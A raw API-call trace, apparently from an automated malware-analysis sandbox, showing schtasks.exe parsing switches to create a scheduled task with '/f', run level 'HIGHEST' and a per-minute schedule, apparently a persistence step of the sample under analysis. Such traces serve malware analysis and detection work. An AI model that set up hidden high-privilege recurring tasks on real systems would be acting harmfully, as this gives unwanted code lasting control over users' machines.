_Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.590] lstrlenW (lpString="|ec|") returned 4 [0143.590] lstrlenW (lpString="|rl|") returned 4 [0143.590] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0143.590] SetLastError (dwErrCode=0x490) [0143.590] lstrlenW (lpString="rl") returned 2 [0143.590] lstrlenW (lpString="rl") returned 2 [0143.590] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.590] lstrlenW (lpString="rl") returned 2 [0143.590] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.590] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.590] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rl|") returned 4 [0143.590] lstrlenW (lpString="|rl|") returned 4 [0143.590] lstrlenW (lpString="|rl|") returned 4 [0143.590] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0143.590] SetLastError (dwErrCode=0x0) [0143.590] SetLastError (dwErrCode=0x0) [0143.590] lstrlenW (lpString="HIGHEST") returned 7 [0143.590] lstrlenW (lpString="-/") returned 2 [0143.590] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0143.590] SetLastError (dwErrCode=0x490) [0143.591] SetLastError (dwErrCode=0x490) [0143.591] SetLastError (dwErrCode=0x0) [0143.591] lstrlenW (lpString="HIGHEST") returned 7 [0143.591] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0143.591] SetLastError (dwErrCode=0x490) [0143.591] SetLastError (dwErrCode=0x0) [0143.591] _memicmp (_Buf1=0x3dd560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.591] lstrlenW (lpString="HIGHEST") returned 7 [0143.591] lstrlenW (lpString="HIGHEST") returned 7 [0143.591] lstrlenW (lpString=" \x09") returned 2 [0143.591] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0143.591] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0143.591] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0143.591] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0143.591] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0143.591] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0143.591] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0143.591] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0143.591] GetLastError () returned 0x0 [0143.591] lstrlenW (lpString="HIGHEST") returned 7 [0143.591] lstrlenW (lpString="HIGHEST") returned 7 [0143.591] SetLastError (dwErrCode=0x0) [0143.591] SetLastError (dwErrCode=0x0) [0143.591] lstrlenW (lpString="/f") returned 2 [0143.591] lstrlenW (lpString="-/") returned 2 [0143.591] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.591] lstrlenW (lpString="create") returned 6 [0143.591] lstrlenW (lpString="create") returned 6 [0143.591] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.591] lstrlenW (lpString="f") returned 1 [0143.592] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.592] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|create|") returned 8 [0143.592] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.592] lstrlenW (lpString="|create|") returned 8 [0143.592] lstrlenW (lpString="|f|") returned 3 [0143.592] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0143.592] SetLastError (dwErrCode=0x490) [0143.592] lstrlenW (lpString="?") returned 1 [0143.592] lstrlenW (lpString="?") returned 1 [0143.592] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.592] lstrlenW (lpString="f") returned 1 [0143.592] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.592] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|?|") returned 3 [0143.592] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.592] lstrlenW (lpString="|?|") returned 3 [0143.592] lstrlenW (lpString="|f|") returned 3 [0143.592] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0143.592] SetLastError (dwErrCode=0x490) [0143.592] lstrlenW (lpString="s") returned 1 [0143.592] lstrlenW (lpString="s") returned 1 [0143.592] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.592] lstrlenW (lpString="f") returned 1 [0143.592] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.592] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|s|") returned 3 [0143.592] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.592] lstrlenW (lpString="|s|") returned 3 [0143.592] lstrlenW (lpString="|f|") returned 3 [0143.593] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0143.593] SetLastError (dwErrCode=0x490) [0143.593] lstrlenW (lpString="u") returned 1 [0143.593] lstrlenW (lpString="u") returned 1 [0143.593] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.593] lstrlenW (lpString="f") returned 1 [0143.593] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.593] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|u|") returned 3 [0143.593] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.593] lstrlenW (lpString="|u|") returned 3 [0143.593] lstrlenW (lpString="|f|") returned 3 [0143.593] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0143.593] SetLastError (dwErrCode=0x490) [0143.593] lstrlenW (lpString="p") returned 1 [0143.593] lstrlenW (lpString="p") returned 1 [0143.593] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.593] lstrlenW (lpString="f") returned 1 [0143.593] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.593] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|p|") returned 3 [0143.593] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.593] lstrlenW (lpString="|p|") returned 3 [0143.593] lstrlenW (lpString="|f|") returned 3 [0143.593] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0143.593] SetLastError (dwErrCode=0x490) [0143.593] lstrlenW (lpString="ru") returned 2 [0143.593] lstrlenW (lpString="ru") returned 2 [0143.593] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.594] lstrlenW (lpString="f") returned 1 [0143.594] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.594] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ru|") returned 4 [0143.594] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.594] lstrlenW (lpString="|ru|") returned 4 [0143.594] lstrlenW (lpString="|f|") returned 3 [0143.594] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0143.594] SetLastError (dwErrCode=0x490) [0143.594] lstrlenW (lpString="rp") returned 2 [0143.594] lstrlenW (lpString="rp") returned 2 [0143.594] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.594] lstrlenW (lpString="f") returned 1 [0143.594] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.594] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|rp|") returned 4 [0143.594] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.594] lstrlenW (lpString="|rp|") returned 4 [0143.594] lstrlenW (lpString="|f|") returned 3 [0143.594] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0143.594] SetLastError (dwErrCode=0x490) [0143.594] lstrlenW (lpString="sc") returned 2 [0143.594] lstrlenW (lpString="sc") returned 2 [0143.594] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.594] lstrlenW (lpString="f") returned 1 [0143.594] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.594] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sc|") returned 4 [0143.594] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.594] lstrlenW (lpString="|sc|") returned 4 [0143.595] lstrlenW (lpString="|f|") returned 3 [0143.595] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0143.595] SetLastError (dwErrCode=0x490) [0143.595] lstrlenW (lpString="mo") returned 2 [0143.595] lstrlenW (lpString="mo") returned 2 [0143.595] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.595] lstrlenW (lpString="f") returned 1 [0143.595] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.595] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|mo|") returned 4 [0143.595] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.595] lstrlenW (lpString="|mo|") returned 4 [0143.595] lstrlenW (lpString="|f|") returned 3 [0143.595] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0143.595] SetLastError (dwErrCode=0x490) [0143.595] lstrlenW (lpString="d") returned 1 [0143.595] lstrlenW (lpString="d") returned 1 [0143.595] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.595] lstrlenW (lpString="f") returned 1 [0143.595] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.595] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|d|") returned 3 [0143.595] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.595] lstrlenW (lpString="|d|") returned 3 [0143.595] lstrlenW (lpString="|f|") returned 3 [0143.595] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0143.595] SetLastError (dwErrCode=0x490) [0143.595] lstrlenW (lpString="m") returned 1 [0143.596] lstrlenW (lpString="m") returned 1 [0143.596] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.596] lstrlenW (lpString="f") returned 1 [0143.596] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.596] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|m|") returned 3 [0143.596] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.596] lstrlenW (lpString="|m|") returned 3 [0143.596] lstrlenW (lpString="|f|") returned 3 [0143.596] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0143.596] SetLastError (dwErrCode=0x490) [0143.596] lstrlenW (lpString="i") returned 1 [0143.596] lstrlenW (lpString="i") returned 1 [0143.596] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.596] lstrlenW (lpString="f") returned 1 [0143.596] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.596] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|i|") returned 3 [0143.596] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.596] lstrlenW (lpString="|i|") returned 3 [0143.596] lstrlenW (lpString="|f|") returned 3 [0143.596] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0143.596] SetLastError (dwErrCode=0x490) [0143.596] lstrlenW (lpString="tn") returned 2 [0143.596] lstrlenW (lpString="tn") returned 2 [0143.596] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.596] lstrlenW (lpString="f") returned 1 [0143.596] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.597] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tn|") returned 4 [0143.597] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.597] lstrlenW (lpString="|tn|") returned 4 [0143.597] lstrlenW (lpString="|f|") returned 3 [0143.597] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0143.597] SetLastError (dwErrCode=0x490) [0143.597] lstrlenW (lpString="tr") returned 2 [0143.597] lstrlenW (lpString="tr") returned 2 [0143.597] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.597] lstrlenW (lpString="f") returned 1 [0143.597] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.597] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|tr|") returned 4 [0143.597] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.597] lstrlenW (lpString="|tr|") returned 4 [0143.597] lstrlenW (lpString="|f|") returned 3 [0143.597] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0143.597] SetLastError (dwErrCode=0x490) [0143.597] lstrlenW (lpString="st") returned 2 [0143.597] lstrlenW (lpString="st") returned 2 [0143.597] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.597] lstrlenW (lpString="f") returned 1 [0143.597] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.597] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|st|") returned 4 [0143.597] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.597] lstrlenW (lpString="|st|") returned 4 [0143.597] lstrlenW (lpString="|f|") returned 3 [0143.597] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0143.598] SetLastError (dwErrCode=0x490) [0143.598] lstrlenW (lpString="sd") returned 2 [0143.598] lstrlenW (lpString="sd") returned 2 [0143.598] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.598] lstrlenW (lpString="f") returned 1 [0143.598] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.598] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|sd|") returned 4 [0143.598] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.598] lstrlenW (lpString="|sd|") returned 4 [0143.598] lstrlenW (lpString="|f|") returned 3 [0143.598] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0143.598] SetLastError (dwErrCode=0x490) [0143.598] lstrlenW (lpString="ed") returned 2 [0143.598] lstrlenW (lpString="ed") returned 2 [0143.598] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.598] lstrlenW (lpString="f") returned 1 [0143.598] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.598] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ed|") returned 4 [0143.598] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.598] lstrlenW (lpString="|ed|") returned 4 [0143.598] lstrlenW (lpString="|f|") returned 3 [0143.598] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0143.598] SetLastError (dwErrCode=0x490) [0143.598] lstrlenW (lpString="it") returned 2 [0143.598] lstrlenW (lpString="it") returned 2 [0143.598] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.599] lstrlenW (lpString="f") returned 1 [0143.599] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.599] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|it|") returned 4 [0143.599] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.599] lstrlenW (lpString="|it|") returned 4 [0143.599] lstrlenW (lpString="|f|") returned 3 [0143.599] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0143.599] SetLastError (dwErrCode=0x490) [0143.599] lstrlenW (lpString="et") returned 2 [0143.599] lstrlenW (lpString="et") returned 2 [0143.599] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.599] lstrlenW (lpString="f") returned 1 [0143.599] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.599] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|et|") returned 4 [0143.599] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.599] lstrlenW (lpString="|et|") returned 4 [0143.599] lstrlenW (lpString="|f|") returned 3 [0143.599] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0143.599] SetLastError (dwErrCode=0x490) [0143.599] lstrlenW (lpString="k") returned 1 [0143.599] lstrlenW (lpString="k") returned 1 [0143.599] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.599] lstrlenW (lpString="f") returned 1 [0143.599] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.599] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|k|") returned 3 [0143.599] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.600] lstrlenW (lpString="|k|") returned 3 [0143.600] lstrlenW (lpString="|f|") returned 3 [0143.600] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0143.600] SetLastError (dwErrCode=0x490) [0143.600] lstrlenW (lpString="du") returned 2 [0143.600] lstrlenW (lpString="du") returned 2 [0143.600] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.600] lstrlenW (lpString="f") returned 1 [0143.600] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.600] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|du|") returned 4 [0143.600] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.600] lstrlenW (lpString="|du|") returned 4 [0143.600] lstrlenW (lpString="|f|") returned 3 [0143.600] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0143.600] SetLastError (dwErrCode=0x490) [0143.600] lstrlenW (lpString="ri") returned 2 [0143.600] lstrlenW (lpString="ri") returned 2 [0143.600] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.600] lstrlenW (lpString="f") returned 1 [0143.600] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.600] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|ri|") returned 4 [0143.600] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.600] lstrlenW (lpString="|ri|") returned 4 [0143.600] lstrlenW (lpString="|f|") returned 3 [0143.600] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0143.600] SetLastError (dwErrCode=0x490) [0143.600] lstrlenW (lpString="z") returned 1 [0143.600] lstrlenW (lpString="z") returned 1 [0143.601] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.601] lstrlenW (lpString="f") returned 1 [0143.601] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.601] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|z|") returned 3 [0143.601] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.601] lstrlenW (lpString="|z|") returned 3 [0143.601] lstrlenW (lpString="|f|") returned 3 [0143.601] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0143.601] SetLastError (dwErrCode=0x490) [0143.601] lstrlenW (lpString="f") returned 1 [0143.601] lstrlenW (lpString="f") returned 1 [0143.601] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.601] lstrlenW (lpString="f") returned 1 [0143.601] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.601] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.601] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c1a8 | out: _Buffer="|f|") returned 3 [0143.601] lstrlenW (lpString="|f|") returned 3 [0143.601] lstrlenW (lpString="|f|") returned 3 [0143.601] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0143.601] SetLastError (dwErrCode=0x0) [0143.601] SetLastError (dwErrCode=0x0) [0143.601] GetProcessHeap () returned 0x3c0000 [0143.601] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcd90 [0143.601] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.601] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0143.601] lstrlenW (lpString="LIMITED") returned 7 [0143.602] GetProcessHeap () returned 0x3c0000 [0143.602] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10) returned 0x3dd580 [0143.602] GetThreadLocale () returned 0x409 [0143.602] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0143.602] GetProcessHeap () returned 0x3c0000 [0143.602] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcd60 [0143.602] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.602] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0143.602] lstrlenW (lpString="HIGHEST") returned 7 [0143.602] GetProcessHeap () returned 0x3c0000 [0143.602] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10) returned 0x3dd5a0 [0143.602] GetThreadLocale () returned 0x409 [0143.602] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0143.602] GetProcessHeap () returned 0x3c0000 [0143.602] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcd30 [0143.602] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.602] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0143.602] lstrlenW (lpString="MINUTE") returned 6 [0143.602] GetProcessHeap () returned 0x3c0000 [0143.602] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe) returned 0x3dd5c0 [0143.602] GetThreadLocale () returned 0x409 [0143.602] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0143.602] SetLastError (dwErrCode=0x0) [0143.602] GetProcessHeap () returned 0x3c0000 [0143.602] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1fc) returned 0x3dc390 [0143.603] GetProcessHeap () returned 0x3c0000 [0143.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcd00 [0143.603] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.603] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0143.603] lstrlenW (lpString="First") returned 5 [0143.603] GetProcessHeap () returned 0x3c0000 [0143.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc) returned 0x3dd5e0 [0143.603] GetProcessHeap () returned 0x3c0000 [0143.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dccd0 [0143.603] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.603] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0143.603] lstrlenW (lpString="Second") returned 6 [0143.603] GetProcessHeap () returned 0x3c0000 [0143.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe) returned 0x3dd600 [0143.603] GetProcessHeap () returned 0x3c0000 [0143.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcca0 [0143.603] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.603] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0143.603] lstrlenW (lpString="Third") returned 5 [0143.603] GetProcessHeap () returned 0x3c0000 [0143.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc) returned 0x3dd620 [0143.603] 